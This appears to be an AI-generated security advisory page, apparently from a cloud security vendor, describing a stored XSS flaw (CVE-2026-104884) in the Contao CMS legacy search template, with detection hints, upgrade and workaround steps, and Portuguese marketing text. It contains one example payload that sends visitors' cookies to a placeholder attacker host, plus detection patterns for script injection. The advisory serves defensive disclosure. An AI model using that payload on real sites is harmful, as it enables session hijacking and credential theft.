
PEACH
Uma estrutura de isolamento de inquilino
CVE-2026-104884 is a stored cross-site scripting (XSS) vulnerability in the Contao CMS frontend search results module, classified as Moderate severity with a CVSS v3.1 base score of 5.4. It affects contao/core-bundle versions >= 4.9.0 and < 5.3.50, and >= 5.4.0-RC1 and < 5.7.12. The vulnerability was discovered by researcher @HDWSec, first published on August 25, 2026, and added to the GitHub Advisory Database on November 20, 2026. Patched versions 5.3.50 and 5.7.12 were released on August 25, 2026 (GitHub Advisory).
The root cause (CWE-79) lies in the legacy HTML5 search template (search_default.html5), which outputs the raw link variable without escaping: <?= $this->link ?> (line 8). A prior hardening commit (23e8cca3136a) correctly escaped the title variable via StringUtil::specialchars(StringUtil::stripInsertTags(...)), but the legacy template never uses that sanitized title variable — it reads link, which ModuleSearch::compile() assigns from the entity-decoded indexed page title without escaping. The modern Twig template (search_default.html.twig) is not affected because Twig auto-escapes output by default; exploitation requires the legacy HTML5 template to be explicitly selected for the search module, which is common on sites migrated from earlier Contao versions (GitHub Advisory).
A backend page editor (an authenticated user with page editing permissions) can craft a page title containing malicious JavaScript and store it in the search index. When anonymous front-end visitors or administrators perform a search and view results rendered via the legacy template, the injected script executes in their browsers. This crosses the editor-to-anonymous-visitor trust boundary, enabling session hijacking, credential theft, or further client-side attacks against any user viewing search results (GitHub Advisory).
There is no public proof-of-concept and no evidence of in-the-wild exploitation at this time (GitHub Advisory). Exploitation requires an authenticated backend account with page editing privileges and the legacy search_default.html5 template to be active — conditions that limit the attack surface but are common on migrated Contao installations. The vulnerability is not listed in the CISA KEV catalog. No EPSS score data is currently available.
search_default.html5 template for its search module (common on sites migrated from Contao 4.x or with custom template selections).<script>document.location='https://attacker.com/steal?c='+document.cookie</script>.link variable echoes the unescaped title, executing the injected script in the victim's browser (GitHub Advisory).<script>, javascript:, or HTML event handler attributes (e.g., onerror=, onload=) by editor-level accounts.tl_search table where the title or text columns contain raw HTML script tags or JavaScript URIs.search_default.html5 in the active template directory, confirming the vulnerable configuration is in use.Upgrade contao/core-bundle to version 5.3.50 (for the 5.3.x branch) or 5.7.12 (for the 5.7.x branch), both released on August 25, 2026 (GitHub Advisory, FriendsOfPHP Advisory). As an immediate workaround without upgrading, switch the search module's template from the legacy search_default.html5 to the modern Twig template search_default.html.twig, which auto-escapes output and is not vulnerable. Additionally, restrict backend page editor permissions to trusted users only to reduce the risk of malicious content injection.
Origem: Este relatório foi gerado usando IA
Avaliação Gratuita de Vulnerabilidades
Avalie suas práticas de segurança em nuvem em 9 domínios de segurança para avaliar seu nível de risco e identificar lacunas em suas defesas.
Marque uma demonstração personalizada
"A melhor experiência do usuário que eu já vi, fornece visibilidade total para cargas de trabalho na nuvem."
"A Wiz fornece um único painel de vidro para ver o que está acontecendo em nossos ambientes de nuvem."
"Sabemos que se a Wiz identifica algo como crítico, na verdade é."